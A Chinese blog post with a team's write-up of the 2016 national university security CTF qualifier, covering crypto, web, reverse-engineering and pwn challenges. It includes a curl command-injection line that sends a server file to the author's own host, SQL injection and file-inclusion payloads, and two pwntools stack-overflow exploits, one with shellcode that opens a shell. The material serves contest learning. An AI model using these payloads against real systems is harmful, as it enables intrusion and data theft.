R·ex / Zeng


音游狗、安全狗、攻城狮、业余设计师、段子手、苦学日语的少年。 MUGer, hacker, developer, amateur UI designer, punster, Japanese learner.

2016 全国大学生信息安全竞赛初赛 Writeup (by Asuri)

注意:本文发布于 2404 天前,文章中的一些内容可能已经过时。

Asuri 团队(官方主页:Asuri Team)是戒贤学长组建的一支南航信息安全团队,我是团队中的一员。之前我们曾经参加过江苏省的天翼杯信息安全竞赛,并且拿到了决赛第五名。其实团队成员大部分还是野路子出身,在一次次比赛和实战中提升自己的水平。

这两天我们又参加了今年的全国大学生信息安全竞赛,规模比上一次大了好多,因此我们更多是抱着学习的心态参加的。在比赛中,我们见识到了好多之前没见过的题目(脑洞)。我们也算是出题比较快,第一天下午的时候曾经数次冲进前三名,然而毕竟水平有限,最后其它队伍都慢慢赶上来了……

不管怎么样,个人认为还是比以前进步了好多的!下面就放一下我们的 Writeup 吧!

首先是我过的几道题。


对称密码1

题目要求给定密文,在未提供密钥的情况下求出原文。看完算法之后,发现后面的位不会影响前面,因此考虑逐位破解。(需要 key 的前两位来确定结果的第一位。)

由于是 CTF 题目,因此可以想出,最终结果一定是 flag{ 开头的。

将题干中给的代码替换掉原有的代码,发现用 Start 解出来第一位已经是 f 了,因此从第三位开始。枚举 a~z 的字母,直到第二位是 l 为止,然后枚举第三位,以此类推,直到得出 flag{... 为止。算出来之后发现解密结果为 flag{RongrpdulaeionsNYou_|ade_ehe_fxrst_btep},猜想最终结果应该类似于 flag{CongratulationsNYou_|ade_the_first_step} 这样子。

继续往后时发现 key 有循环:St(itere)(括号里是循环节),于是就将 itere 复制了几次,得到 flag{Congradulations_You_made_the_first_step}

It Works!

进去之后发现 index.php 里面除了一句话以外啥也没有,尝试各种文件,结果发现 flag.php,然而并没有有用的东西。根据提示可以猜想是 vi 的临时文件,尝试了 index.php~.index.php.swp.index.php.swn,最终发现 .index.php.swo 是存在的,经恢复可得 index.php 的代码。

看到代码中需要让 $_GET[num]1,然而不能直接等于 1,因此用 0.999999999999999999 达到效果;最后的命令注入可以构造 curl$curl -T flag.php http://自己的服务器/getflag.php < ./flag.php,这样可以通过 getflag.php 文件将接收到的 PUT 数据保存。getflag.php 的内容如下:

<?php
$db = new mysqli('localhost', 'root', 'root', 'getflag');
$t = file_get_contents('php://input');
$db->query("INSERT INTO `getflag` (`flag`) VALUES('{$t}')");
?>

然后在自己的服务器上查看数据库 getflag,可得如下内容:

<?php
 echo "Yep,Flag is here,But u cant look in here!";
 //flag is here!
 //flag{2984bce1807c46879cb80995c7003109}
 ?>

可信度量

题目给的 source/sm3.c 中已经有了对于文件摘要的函数,因此可以直接在最后加入 main 函数编译:

int main(int argc, char **argv) {
    uint32_t hash[8];
    calculate_sm3(argv[1], hash);
    for (int i = 0; i < 8; i++) {
        printf("%02x%02x%02x%02x",
              (hash[i] & 0x000000ff),
              (hash[i] & 0x0000ff00) >> 8,
              (hash[i] & 0x00ff0000) >> 16,
              (hash[i] & 0xff000000) >> 24);
    }
    printf("\n");
    return 0;
}

这样就可以直接调用 sm3 file 命令,在屏幕上输出 file 的摘要值。于是可以再用一段 shell 来解决多个文件的问题:

#!/bin/bash
gcc source/sm3.c -o source/sm3 -O2 --std=c99
for file in `ls sbinbackup`
do
    hash=$(./source/sm3 sbinbackup/$file)
    found=$(cat digest_list | grep $hash)
    if [ "$found" == "" ]
    then
        echo $file
    fi
done

输出是:insmodiptablesiweventreboot,因此可得 flag{ins_ipt_iwe_reb}

永不消逝的电波

下载音频文件,发现是一段摩斯电码。于是使用 Adobe Audition 打开,可得:.... .-.. . .. -.-. .. -.-. - ... - .-- --- --- -.-. ..-. . -- -.-. -. .----,解码后为 HLEICICTSTWOOCFEMCN1,经同学提醒可使用栅栏密码,宽度为 4,可得 flag{HIWELCOMETOCISCNCTF1}

PHPup

打开链接发现是一个博客,于是找后台登录地址。看到第二篇文章有关于博客的信息:“其实只要按下某个开关,就出来了”,可以想到在 JavaScript 中有相关代码。查看网页相关的代码发现了 /js/adminpage.js 文件,里面第 27 行开始有一个函数,作用是显示登录界面。表单的信息如下:

方法: POST
网址: doLoginUIOPPP.php
参数: username, password, autoFlag(可选), commit

对这个网址简单测试了一下,发现有 SQL 错误回显。猜测 SQL 语句为 SELECT password FROM xxx WHERE username = '{$username}',于是构造如下提交数据:

username=1' and 1=0 union select '123' #&password=123&commit=Login

发现不行,突然想到一般系统会使用 md5 对密码进行加密,在 PHP 代码中肯定有类似于 (md5($password) != $row['password']) 这样的判断,因此修改提交数据如下:

username=1' and 1=0 union select '202cb962ac59075b964b07152d234b70' #&password=123&commit=Login

提示登录成功,并给出了一个网址:

<script>alert('登陆成功');</script><script>window.location='admin/admininfile.php?name=add';</script>

从而获取到了后台地址。然而通过题目名称 PHPup 并没发现有任意文件上传漏洞(有个上传点但是只能传静态文件,是通过扩展名白名单过滤的,各种猥琐的截断都不管用),因此这条路走不通了。

接下来交给白菜助攻。发现 admininfile.php?name=add 其实有任意文件包含漏洞,但只能包含结尾为 php 的文件。于是使用各种猥琐的 LFI 姿势拿到 flag:

http://106.75.30.59:2333/admin/admininfile.php?name=php://filter/read=convert.base64-encode/resource=../flag

页面显示如下:

php://filter/read=convert.base64-encode/resource=../flag.php not exists!ZmxhZwo8P3BocAojZmxhZ3s0NjRmNjcxYWZhOTA0NDU2YTY0MDJlZjEzMzNkYWI1ZH0K

将后面的 base64 解码后拿到 flag:

flag
<?php
#flag{464f671afa904456a6402ef1333dab5d}

接下来是团队其他成员做出来的题目。

你好,I春秋

没啥说的,关注像女 shen 朋 jing 友 bing 一样的微信号按提示回复即可。

1

此处心疼男主三秒……

传感器1

根据提示“曼联”想到应为曼切斯特编码。正常解码后与传感器ID对应,发现有三组八位相反,按位翻转顺序即可。

int main(int argc, const char * argv[]) {
    int dataLen = strlen(data);
    for (int i=0, j=0; i<dataLen; i+=4, ++j) {
        binary2[j] = decode(data[i]) << 6;
        binary2[j] += decode(data[i+1]) << 4;
        binary2[j] += decode(data[i+2]) << 2;
        binary2[j] += decode(data[i+3]) << 0;
        binary2[j] = rrev(binary2[j]);
    }
    printByteArrayToBinaryString((uint8_t *)&int_id, 3);
    printByteArrayToBinaryString(binary2, 9);
    printByteArray(binary2, 9);
    putchar('\n');
    return 0;
}

输出如下:

00011111 11010011 11111110
11111111 11111111 11111110 11010011 00011111 01100100 01010000 01010101 11111001
FFFFFED31F645055F9

破译

题干中先给了一段加密的文章,在最后发现了花括号。因为想到 flag 格式必然为 flag{xxxxx},所以 X8SY 应该是对应 flag,所以想到大写字母减 5 模 26 再加 97,数字加 5 模 26 再加 97,然而得到的结果虽然看起来像一篇文章,但是有的字母是错误的,并且发现不正确的这段原文刚好是 A 到 G,数字是 0 到 4,因此稍作修正:

#include <cstdio>
char str[] = "TW5650Y - 0TS UZ50S S0V LZW UZ50WKW 9505KL4G 1X WVMUSL510 S001M0UWV 910VSG S0 WFLW0K510 1X LZW54 WF5KL50Y 2S4L0W4KZ52 L1 50U14214SLW X5L0WKK S0V TSK7WLTS88 VWNW8129W0L 50 W8W9W0LS4G, 95VV8W S0V Z5YZ KUZ118K SU41KK UZ50S.LZW S001M0UW9W0L ESK 9SVW SL S K5Y050Y UW4W910G L1VSG TG 0TS UZ50S UW1 VSN5V KZ1W9S7W4 S0V FM LS1, V54WUL14 YW0W4S8 1X LZW 50LW40SL510S8 U112W4SL510 S0V WFUZS0YW VW2S4L9W0L 1X LZW 9505KL4G 1X WVMUSL510.\n\"EW S4W WFU5LWV L1 T41SVW0 1M4 2S4L0W4KZ52 E5LZ LZW 9505KL4G 1X WVMUSL510 L1 9S7W S 810Y-8SKL50Y 592SUL 10 LZW 85NWK 1X UZ50WKW KLMVW0LK LZ41MYZ S 6150L8G-VWK5Y0WV TSK7WLTS88 UM445UM8M9 S0V S E5VW 4S0YW 1X KUZ118 TSK7WLTS88 241Y4S9K,\" KS5V KZ1W9S7W4. \"LZ5K U1995L9W0L 9S47K S01LZW4 958WKL10W 50 LZW 0TS'K G1MLZ S0V TSK7WLTS88 VWNW8129W0L WXX14LK 50 UZ50S.\" X8SY { YK182V9ZUL9STU5V}";
int main() {
    char *p = str;
    while (*p) {
        if (*p >= 'H' && *p < = 'Z')
            printf("%c", (*p -5) % 26 + 'a');
        else if (*p >= 'A' && *p < = 'G')
            printf("%c", (*p +5) % 26 + 'a');
        else if (*p >= '5' && *p < = '9')
            printf("%c", (*p +7) % 26 + 'a');
        else if (*p >= '0' && *p < = '4')
            printf("%c", (*p +17) % 26 + 'a');
        else printf("%c", *p);
        p++;
    }
}

运行结果为:

beijing - nba china and the chinese ministry of education announced monday an extension of their existing partnership to incorporate fitness and basketball development in elementary, middle and high schools across china.the announcement was made at a signing ceremony today by nba china ceo david shoemaker and xu tao, director general of the international cooperation and exchange department of the ministry of education.
"we are excited to broaden our partnership with the ministry of education to make a long-lasting impact on the lives of chinese students through a jointly-designed basketball curriculum and a wide range of school basketball programs," said shoemaker. "this commitment marks another milestone in the nba's youth and basketball development efforts in china." flag { gsolpdmhctmabcid}

考虑到原文都是大写,因此将 flag 也转为大写,结果是:FLAG{GSOLPDMHCTMABCID}

Careful

2

上图有明显的栈溢出,通过指定 v3 可以覆盖返回地址,想要构造 shellcode 太短了,只能写 10 个字节。然而注意到 i 也在栈上,所以可以重置计数器,最后的 exp 如下:

#!/usr/bin/env python
from pwn import *

DEBUG=0
if DEBUG:
    p = process("./bin/A44DD70F78267A1CCBEE12FE0D490AD6")
    context.log_level = 'debug'
else:
    p = remote("106.75.37.29", 10000)

def resetCounter():
    p.recvuntil("input index:")
    p.sendline("28")
    p.recvuntil("input value:")
    p.sendline(str(0x0))

def writeAddress(start, addr):
    data = hex(addr)[2:].rjust(8,'0')
    print data
    p.recvuntil("input index:")
    p.sendline(str(start))
    p.recvuntil("input value:")
    p.sendline(str(int(data[6:],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+1))
    p.recvuntil("input value:")
    p.sendline(str(int(data[4:6],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+2))
    p.recvuntil("input value:")
    p.sendline(str(int(data[2:4],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+3))
    p.recvuntil("input value:")
    p.sendline(str(int(data[:2],16)))

def setCounter():
    p.recvuntil("input index:")
    p.sendline("28")
    p.recvuntil("input value:")
    p.sendline(str(0x10))


def exp():
    writeAddress(44, 0x08048420) #scanf
    writeAddress(48, 0x080486ae) #pop pop ret
    resetCounter()

    writeAddress(52, 0x080486ed) # %d
    writeAddress(56, 0x0804a200) # /bin
    resetCounter()

    writeAddress(60, 0x08048420) #scanf
    writeAddress(64, 0x080486ae) #pop pop ret
    resetCounter()

    writeAddress(68, 0x080486ed) #%d
    writeAddress(72, 0x0804a204) #/sh
    resetCounter()

    writeAddress(76, 0x080483e0) #[email protected]
    writeAddress(84, 0x0804a200)

    raw_input("bp2")
    setCounter()

    p.sendline(str(u32('/bin')))
    p.sendline(str(u32('/sh\x00')))
    p.interactive()

exp()

最后得出:flag{9587c60c6962efc66d5adc7d18ee5500}

珍贵资料

unknown2 是个 apk,打开后发现用户名密码是从 sharedpref 中储存的:

3

unknown 是 adb 备份文件。

dd if=unknown bs=24 skip=1| openssl zlib -d > mybackup.tar

然后解压后得到加密后的密码为 dudqlvqrero1

4

解密函数如下:

public static String Decryption(String s) {
    String string0;
    StringBuilder sb = new StringBuilder();
    if (s == null || s.length() < 1) {
        System.out.println("you Input nothing.");
        string0 = null;
    }
    else {
        s = s.toLowerCase();
        int len = s.length();
        int j;
        for (j = 0; j < len; ++j) {
            int a = "ijklmstuvwxyz0123abcdenopqrfgh456789".indexOf(s.charAt(j));
            if (a == 2) {
                a = LEN - 1;
            }
            if (a == 1) {
                a = LEN - 2;
            }
            if (a == 0) {
                a = LEN - 3;
            }
            sb.append("ijklmstuvwxyz0123abcdenopqrfgh456789".charAt(a - 3));
        }
        string0 = sb.toString();
    }
    return string0;
}

最终得出 flag 是 amanisnobody

Gold Rush

暴力机器识别验证码,模拟用户请求。

# coding:utf8
import pytesseract
from PIL import Image
import requests
import time
import re
from pyquery import PyQuery

s = requests.Session()
r = s.get("http://106.75.30.59:8888/?pass=d937795eff9b5f19")
r = s.post("http://106.75.30.59:8888/dologin.php", data={"user": "summer"})

id_match = re.compile("\./rob\.php\?id=(.*)")

def doImage(file):
    img = Image.open(file).convert('L')
    WHITE, BLACK = 255, 0
    size = img.size

    img = img.point(lambda x: WHITE if x > 150 else BLACK)
    img = img.convert('1')
    #img.show()
    return pytesseract.image_to_string(img, lang="eng")

def DoRobUser(id, name):
    r = s.get("http://106.75.30.59:8888/rob.php?id=" + id)
    r = s.get("http://106.75.30.59:8888/code.php", stream=True)
    with open("code.png", "w") as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk: # filter out keep-alive new chunks
                f.write(chunk)
                f.flush()
        f.close()
    code = doImage("code.png")
    print code
    r = s.post("http://106.75.30.59:8888/dorob.php", data={
        "user": name,
        "num": "1",
        "code": code
    })
    jq = PyQuery(r.text)
    text = jq(".panel-body h1").text()
    print text

def robUser():
    r = s.get("http://106.75.30.59:8888/game.php")
    jq = PyQuery(r.text)
    for i in range(0, 20):
        tds = jq("table tbody tr").eq(i)
        name = jq(tds).find("td").eq(1).text()
        id = jq(tds).find("td a").attr("href")
        if not id:
            continue
        idm = id_match.match(id).group(1)
        DoRobUser(idm, name)

while True:
    robUser()

Pretty Good Privacy

在 docx 文件中隐写了密码:

5

得到 TrueCrypt 的密码是 tcCISCN2016,PGP 的密码是 PGPCISCN2016

从 TC 卷中得到 PGP 的密钥对,然后用 PGP 密码解开私钥解压 secret.docx:

恭喜你!
flag{OH_NO_YOU_HAVE_FOUND_MY_ANOTHER_SECRET}

GeekerDoll

一个 GHC 编译的 Haskell 程序。使用 hsdecomp 反编译,得到 hs 伪代码:

6 .... 7

发现只是对字符做了字典替换。将替换规则抠出来对 bk_vefuhfuhfuha1n4shaqcz 进行处理即可。

//
//  main.cpp
//  ghc
//
//  Created by Summer on 7/9/16.
//  Copyright <img src="http://blog.rexskz.info/wp-content/plugins/wp-emoji/emoji/e24e.png" class="wp-emoji" /> 2016 summer. All rights reserved.
//

#include <iostream>
#include <cstdio>

#define loc_7031040 109
#define loc_7031056 110
#define loc_7031296 125
#define loc_7031264 123
#define loc_7030880 99
#define loc_7031216 120
#define loc_7030864 98
#define loc_7031184 118
#define loc_7030816 95
#define loc_7031200 119
#define loc_7030960 104
#define loc_7030944 103
#define loc_7030928 102
#define loc_7030896 100
#define loc_7031024 108
#define loc_7031008 107
#define loc_7031168 117
#define loc_7030912 101
#define loc_7031248 122
#define loc_7030992 106
#define loc_7031136 115
#define loc_7031104 113
#define loc_7031088 112
#define loc_7031232 121
#define loc_7031152 116
#define loc_7031120 114
#define loc_7031072 111
#define loc_7030976 105
#define loc_7030848 97

char map[128] = {0};

int makemap() {
    map[loc_7030848] = loc_7030816;
    map[loc_7030976] = loc_7031184;
    map[loc_7031072] = loc_7031168;
    map[loc_7031120] = loc_7031248;
    map[loc_7031152] = loc_7031232;
    map[loc_7031232] = loc_7031216;
    map[loc_7031088] = loc_7031152;
    map[loc_7031104] = loc_7031136;
    map[loc_7031136] = loc_7031120;
    map[loc_7030992] = loc_7031040;
    map[loc_7031248] = loc_7031296;
    map[loc_7030912] = loc_7031264;
    map[loc_7031168] = loc_7031200;
    map[loc_7031008] = loc_7031024;
    map[loc_7031024] = loc_7031008;
    map[loc_7030896] = loc_7031104;
    map[loc_7030928] = loc_7031088;
    map[loc_7030944] = loc_7031072;
    map[loc_7030960] = loc_7031056;
    map[loc_7031200] = loc_7030992;
    map[loc_7030816] = loc_7030848;
    map[loc_7031184] = loc_7030944;
    map[loc_7030864] = loc_7030928;
    map[loc_7031216] = loc_7030976;
    map[loc_7030880] = loc_7030960;
    map[loc_7031264] = loc_7030880;
    map[loc_7031296] = loc_7030864;
    map[loc_7031056] = loc_7030912;
    map[loc_7031040] = loc_7030896;
    return 0;
}

int main(int argc, const char * argv[]) {
    makemap();
    char str[] = "bk_vefuhfuhfuha1n4shaqcz";
    for (int i = 0; i < strlen(str); ++i) {
        map[str[i]] == 0 ? putchar(str[i]) : putchar(map[str[i]]);
    }
    return 0;
}

Cis2

还是栈溢出,注意到 handle_op_code 中没有对 safe_stack 进行边界检查,可以溢出返回地址,将 payload 放到全局数组 buffer 里,跳转到 buffer 即可。

8

Exp如下:

#!/usr/bin/env python
from pwn import *

DEBUG=0
if DEBUG:
    p = process("./bin/0A77F6D4BD5CB2700A89F9C6F8D8F116")
else:
    p = remote("106.75.37.31", 23333)

def exp():
    p.recvuntil("Fight!\n")
    for i in range(30):
        p.sendline(str(0x602088))
    p.sendline('m')
    p.sendline('w')
    p.sendline('w')
    p.sendline('w')
    p.sendline('-')
    raw_input("bp")
    payload="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    p.sendline('q'+'a'*7+payload)
    p.interactive()
exp()

最终得出 flag{53ed43a93ec84fe99ddbd33d5acf5284}

暗号

逆向得到核心加密函数 NowYouSeeMe,看上去是个类似于高精度除法的东西,但实际上每一位对结果的影响有限,重写进 C 后逐渐缩小范围枚举:

9

10

SQL

注入点在 X-Forwarded-For 上:

X-Forwarded-For: 114.114.114.114', info = DLookup('flag', 'ctf', 'id=1'), email='

然后可从页面上得到 flag:

11

传感器2

观察到给定的两组数据只有两个字节有差异,其中前面一个字节代表压力值,后一个字节猜想是校验值,同时注意到二者的差是相同的,于是初步确定校验算法是前面字节的和,但是每次都差 2,于是去掉开头的两个字节 FFFF,得到的校验值低 8 位匹配。

传感器的数据是怎么编码的,一直没发现,但是想到值应该是小于 0x42,于是进行猜解,同步计算最后的校验,代码如下:

def decode(a):
    t = bin(a)[2:].rjust(144,'0')
    counter = 0
    res = []
    temp = []
    
    for i in range(0, len(t), 2):
        if t[i] == '0':
            temp.append('1')
        else:
            temp.append('0')
        if len(temp) == 8:
            temp.reverse()
            res.append(int(''.join(temp),2))
            temp = []
        
    fin = ""
    for t in res:
        fin += hex(t)[2:].rjust(2,'0').upper()
        
    return fin
        
def check(m):
    sum = 0
    sum += (m >> 8) & 0xff
    sum += (m>>16) & 0xff
    sum += (m >> 24) & 0xff
    sum += (m >> 32) & 0xff
    sum += (m >> 40) & 0xff
    sum += (m>>48) & 0xff
    return sum & 0xff

t = 0xfffffeb75700505500
i = 0x20
while i < 0x43:
    m = t + (i << 24)
    code = check(m)
    m += code
    i += 1
    print "flag{"+hex(m)[2:-1].upper()+"}"

最终得到 flag{FFFFFEB757375055E8}

maze

12

上图中 sub_4010b0sub_401000 中均为构造迷宫,但 401000 有随机性,导致结果不唯一。需patch 401048-401080nop

13

检查函数中将输入字符串逐字符处理。abcd 表示上下左右,大于 d 的表示步数。Nop 后每次迷宫均相同,因此可使用 dxbvcuandmbldobk 走完迷宫,得出结果:

Congrarulations!flag{Y0u_4re_4_G00d_Ma2e_Runner}

拯救地球

解压 apk 后发现 encrypt.dex,调试发现 sub_2b40 读入了 encrypt.dex

14

其中 sub_1760 为解密函数,调用了 sub_1706sub_1722sub_1740

15

其中 sub_1706 将前 0~1000 字节 xor 0x11,1000~2048 字节 xor 0x22,2048~3000 xor 0x33。按规则解密 encrypted_dex 头部得到可正常解析的 dex 文件。

反编译 encrypt.dex 发现 class Encode 实际就是 Base64 编码类,解密 class 中的 Answer.aaabcedfghijklmnopqrstuvwxyz1234567890

16

array_i 的值对应在 Answer.aa 中的位置,然后从对应位置找到即可获得 yes,it is the answer,再进行 base64 得到 flag{eWVzLGl0IGlzIHRoZSBhbnN3ZXI=}


嗯,其实作为一只 web 狗,到了后面的各种逆向我已经看不懂了。果然 web 狗无人权啊……这次基本是 Reverse 和 PWN 的天下。还好我过掉了一道 Crypto,SQL 注入也比以前熟练了一些。

其实这次还有几道题刚做出一点,但是由于水平有限因此没能继续做下去。接下来的决赛还是得做足准备,环境和工具还是不能少的,当然还要去各种地方开脑洞咯~

End.

版权声明:除文章开头有特殊声明的情况外,所有文章均可在遵从 CC BY 4.0 协议的情况下转载。
上一篇: 让老司机纷纷翻车的“悄悄话查看器”究竟有啥名堂?
下一篇: 测试工程师的梗,你了解多少?

这是我们共同度过的

第 2635 天